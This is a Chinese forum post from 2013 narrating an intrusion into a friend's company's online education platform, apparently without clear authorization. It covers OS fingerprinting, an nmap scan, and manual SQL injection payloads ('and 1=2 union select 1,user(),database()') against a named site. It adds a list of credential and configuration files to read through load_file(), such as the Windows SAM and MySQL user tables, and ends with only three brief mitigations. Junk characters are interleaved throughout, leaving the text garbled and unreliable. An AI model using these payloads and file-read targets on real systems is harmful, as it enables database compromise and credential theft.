找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2096|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
. T9 S: B1 t" x! G9 K- Q, c9 Q+ i一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……" e) D! [! f' o
第一步:获取需要的信息
2 n2 |1 Q/ M' q1 K由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
" o1 K' b% E. w& U9 J# z0 n注:以下为保护特用XXX代替敏感信息
. [- |0 r0 H: _. u3 v顺手先PING了一下他们的域名:
! R  G- ^; ]' J. O" G- C1 l4 }ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
, p+ a4 a: K. b; d- K64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms/ e7 s6 x3 u' P2 |
顺便了解一下TTL,学好基础知识才能一路顺风:
, I. E5 }( j7 X" y" e' l$ K9 kTTL:(Time To Live ) 生存时间
0 w3 _+ w% l+ [* U! ~+ v) Z6 A( X指定数据包被路由器丢弃之前允许通过的网段数量。, q, X2 _1 Z0 }9 @# }$ z, c
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。1 N) E& a7 e) X' Q! j7 z
使用PING时涉及到的 ICMP 报文类型+ [) N( ^0 B: q
一个为ICMP请求回显(ICMP Echo Request)
# O3 c* `6 h& {6 n$ B一个为ICMP回显应答(ICMP Echo Reply)+ D% @- G* `3 Z! c( ^# T% H
TTL 字段值可以帮助我们识别操作系统类型。
8 R# J9 k, v4 \( [UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
- ^+ w: U" l5 zCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 642 M4 x0 c- _8 a/ x+ j# Q& r# z! H
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
+ [4 X, M9 i# f! ~( V1 x+ m微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
! f5 v0 Q) w1 T* r% {当然,返回的TTL值是相同的
( H- o" P; N" ~, \+ `& h! ^* b1 K0 H但有些情况下有所特殊
7 v6 }/ V. X: y4 zLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
- D( J/ ^& P9 A2 [FreeBSD 4.1, 4.0, 3.4;7 C# Q0 {9 k+ p! j
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
! h0 S8 x1 |: a4 SOpenBSD 2.6, 2.7,
2 \& N6 f, G. r7 T9 DNetBSD
3 E8 `3 s- x$ B" c! SHP UX 10.20- W" {, X/ C; b$ x
ICMP 回显应答的 TTL 字段值为 255
# a, x: O, v! P4 ]. v" b. r6 _+ ^. yWindows 95/98/98SE
. G* c% U3 I8 n  [: p; d. x7 _+ |/ i& |Windows ME0 u* x* X# J# U- B6 K- V& }
ICMP 回显应答的 TTL 字段值为 32# M8 O5 o5 K3 I4 z& g: w
Windows NT4 WRKS
  z0 B0 a: j# C. a9 W% |0 MWindows NT4 Server# x9 a% o: M. i0 ?* U
Windows 2000; E- E' r7 J' t& P) ]6 c/ C
Windows XP
/ J" ^/ r3 \) ~) i* \ICMP 回显应答的 TTL 字段值为 128  h& @# `2 v& R# \) a: R
这样,我们就可以通过这种方法来辨别操作系统
- W  j( C& i- G. ^+ J4 M7 ~TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2551 K/ T! S0 P  M0 B" i9 s
用NMAP扫描一下:
" p/ u" ]: E+ [- pnmap -sT -O XXX.XXX.XXX.XXX$ B! ~/ b& a8 p5 K; E
如果没有装WinPcap则会弹出提示:
5 ?- q- C2 L  S7 B2 R7 k3 s) OWARNING: Could not import all necessary WinPcap functions.  You may need to upgr! R: x$ {; ~- H# J% V& n4 x
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(( J2 i2 }, A! ?9 b9 m% i: Z
) mode — Nmap may not function completely
8 Y* ~8 N) U% U/ `: ?/ OTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher: E% N- W3 T) n, z+ y' N7 e
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win, n/ \  e! p1 s4 x1 b
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an  E. u# m( ^' I9 m9 R2 W9 j0 r
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v! b( D: l0 R7 V% U* R; R3 u
ersions, you may be able to take iphlpapi.dll from another system and place it i
& ~5 t7 N- J  q: `: I/ b) K; x  }n your system32 dir (e.g. c:\windows\system32).1 ]! E4 c( Y% c2 o
QUITTING!
. N" |8 S7 P- @! k! ^. T: ]7 ^& C到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
& `2 _; C8 {$ w% v$ h: t6 K安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
% l& @* f* m( G5 [  J$ Y3 W7 BInteresting ports on XXX.XXX.XXX.XXX:
' l8 `+ ]5 }2 yNot shown: 986 closed ports
- ?4 M6 s3 L. dPORT     STATE    SERVICE1 c5 A7 Z# a7 V' N
21/tcp   open     ftp, T# B8 O) V2 o; w3 z
22/tcp   open     ssh0 H9 ]4 i: u3 }/ U- t
23/tcp   open     telnet
" l# ]& d# G! I7 K: n! o" x0 _7 p80/tcp   open     http
0 B* M5 `# B- k' A111/tcp  open     rpcbind
: U( D! n( ^' L135/tcp  filtered msrpc8 v6 U/ Q" _3 O4 P6 z7 V
139/tcp  filtered netbios-ssn
9 Z2 b" ?6 }# ?! u3 q, K% O445/tcp  filtered microsoft-ds: L7 T9 F2 Z) e, E8 E2 L! B
513/tcp  open     login9 c2 p9 e. k: W! b" [- X# U* p
514/tcp  open     shell
9 w6 }& q$ q0 s4 e$ _8 I' h- K* x) ?593/tcp  filtered http-rpc-epmap
  [( X/ Z9 O* i' S: ^( f1720/tcp filtered H.323/Q.931# P' _/ }' D$ N& q9 J2 g1 i
3306/tcp open     mysql
+ w1 B4 X/ c7 ~2 i4444/tcp filtered krb524
6 j+ d; B2 W, B3 R+ r: k% pDevice type: WAP
6 _, o/ I# k4 B- W- SRunning: Linux 2.4.X
4 A# U. Z: p( y+ p# Z9 V( qOS details: DD-WRT (Linux 2.4.35s)& ^9 G% H6 w' n; u( ?) ~- P9 g
Network Distance: 13 hops3 {  J4 G6 C2 }7 d: r
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
0 r' F- b3 m/ F' G5 `, o) `login as:0 w" \) S; E3 [& a8 [; b& V
Telnet23端口也是开着的,用telnet 命令链接一下:
' ]8 M$ h( ?. V9 Rtelnet XXX.XXX.XXX.XXX
3 o% Z- h) w6 u( V提示:
7 i, u4 \+ e/ @Red Hat Enterprise Linux Server release 5.2 (Tikanga)
% z+ {$ D/ \4 g& JKernel 2.6.18-92.el5PAE on an i6860 s2 E" t$ \1 ?1 S' k% t
login:- @( K* W: O4 V; j6 J8 {
获取HTTP头信息:
+ e% }2 \- g" t在本地执行如下PHP代码4 |8 V- e2 F, p, ~/ Z! }
<?php
/ s0 B- O) c+ b3 N4 R$url = ‘XXX.XXX.XXX.XXX’;3 K  m+ N5 ]/ h* F/ X
print_r(get_headers($url));2 _. |( f/ v$ |
print_r(get_headers($url, 1));
) ~7 t# G  \% S1 ^?>) J9 Y& x+ C, {6 T3 `
将以上代码保存为PHP文件,执行:  e4 W+ }: [  S
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
: c) T" D7 n3 C9 P现在可以得出结论:' R0 A) q  Y% F: D( I
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
+ ^" X' L7 {$ r内核版本:Kernel 2.6.18-92.el5PAE on an i686
, l9 R% [9 Z  }  l8 G0 dWEB服务器版本:nginx/0.7.619 v! R+ Q; n* S6 }
第二步,开始测试寻找漏洞
" T0 y, k' |, i7 _0 u' v分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
& \9 Z( [; U) k/ q- b, m: ^1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的' W1 c& Z8 r. k3 k* o4 f
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试6 G! g4 c9 b0 z5 n' A/ i
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
/ j: l+ C9 m' rhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误/ g# V1 Y) O% W$ ~3 u' m# ?9 v
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
! F3 |- c. Z$ s8 M5 c3、手工注入:
0 n/ R6 M/ G4 J/ ]) K9 W( K0 a注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。3 J0 Y9 R, v  |6 A/ L1 `, q2 x' a
3.1 猜测当前表字段数
* t* L: o9 E  n3 M( D+ ohttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10+ P- L* M* r; t/ |( |
此处猜测有个简单的算法,都是有技巧的吗,呵呵
) S1 ?& Z1 o/ X算法简单如下:
, a/ |. p* x2 @. _4 E0 o! I/ z* u第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;* S" C* D/ N; l: g6 X. s, x
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;) c+ m1 [4 {' R8 j8 ?, c& t0 \
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
7 W, U" ^. l- O! \! R以此来判断,是否过界,配合取中算法猜出字段数。) _: [% w8 M1 F8 Z$ E) D7 l: o
举例:. _; u2 e, Q$ H4 s% p
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常5 c& h" y$ Z5 I5 p" v" W
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
( P0 {- t. j+ R5 N& `% ?) L1 \此时3则为我们要找的字段数。
2 H1 J$ t2 b. X5 K- [3.2 配合union联合查询字段在页面所位置
/ }) h+ C/ v' N/ Q( p我们已经知道了字段数为3,此时则可以做如下操作:
6 \1 j) p/ n3 g  o0 d- E3 hhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
2 `" k% M0 S& C: A% v
% o, T2 }+ ?: C4 B9 V这样就可以测试到哪些字段在页面上有所显示了,如图:
$ h' O( J: x+ g1 g) P$ ~" Z, E& L$ W; w/ s, u
3.3 查敏感信息7 S$ d5 |& _; K( k8 O
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
+ \6 m$ i, v& I: m$ Rhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()9 s1 J. p2 R# e3 r8 n. p
3.3.1 先查数据库用户、数据库名,以备后用,如图:5 y* t6 D7 d& D# Q' D- G

4 A% s1 z! A) T9 x& \. @! C  `得到数据库用户为root、数据库名为DBxx;
2 M/ t( J) v# ~/ ?; @3 e1 p/ h8 H3.3.2 查配置文件; j8 n/ \4 n0 @. o
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。$ z; q- _4 h- o
查看文件有一定的条件限制:
% w3 G5 \, Z% ?8 p欲读取文件必须在服务器上
# e0 \! K& u3 Z' |2 D$ c3 q必须指定文件完整的路径
, t/ i1 S# E6 N0 n5 D! D% b( a必须有权限读取并且文件必须完全可读
6 i5 {% [0 a( L: a4 M+ X欲读取文件必须小于 max_allowed_packet
& @3 p$ h* E+ k: YMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
7 ^( N3 t0 {* z  F# ~常用的一些:
; T* D1 f9 M% l, f, P' G/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件! w5 |6 n( Y2 E5 g5 e
/usr/local/apache2/conf/httpd.conf
/ N- Y. L( E# l* _! q* g) n/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
! y6 g/ ~' b% O9 Y' L' S/usr/local/app/php5/lib/php.ini //PHP相关设置
3 M  O( a' ~& W. s( d" K/etc/sysconfig/iptables //从中得到防火墙规则策略& F9 v( x& n( }
/etc/httpd/conf/httpd.conf // apache配置文件/ B( x  K% K3 n2 d/ b7 s' t2 C! K( Q! b
/etc/rsyncd.conf //同步程序配置文件
% [) ^# u* v2 l0 [/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/ s0 L% {; C% z' f& ?; B/etc/my.cnf //mysql的配置文件2 C- i5 B8 L& g
/etc/redhat-release //系统版本% D+ R- }7 h- R, Y  X6 \" E
/etc/issue
* p5 G" _# |* I/etc/issue.net
: ?! ~/ v* w" S) J! x/ }+ }! Ec:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
& x; f: H1 D7 d" A6 Gc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码% ]/ u1 Q2 i) }9 l2 ^2 }
c:\Program Files\Serv-U\ServUDaemon.ini
9 V% h# P9 F) |c:\windows\my.ini //MYSQL配置文件
5 H# N" g5 w0 A# \c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件# s" M! S& x4 O0 T3 x% d2 k
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
6 d1 H( P2 i5 ^* _" V9 Zc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码8 \0 W8 U/ _- p0 @; k. d+ P
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此' \3 @* K9 E" X- x6 z7 S* [: j
c:\Program Files\RhinoSoft.com\ServUDaemon.exe& m' z3 h2 O/ C( p- n/ ?0 \* v
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
, A; }+ x# L$ @  H: W% T//存储了pcAnywhere的登陆密码/ H/ p1 }: |7 {7 B5 T, w2 i2 r( G+ U
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
$ Z* M1 z# k& b9 v: _& |1 c) X! k这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。5 M# y$ d! p. y4 T$ l. C- w
最后:防范措施# n% V% A# v& I: p" N) y
1、修复PHP注入漏洞;- {  _- _. z% v; t& L. B- E$ ^, N9 {
2、Mysql使用普通权限的用户;
, G( |7 j) o! q% o$ e6 ]; w3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表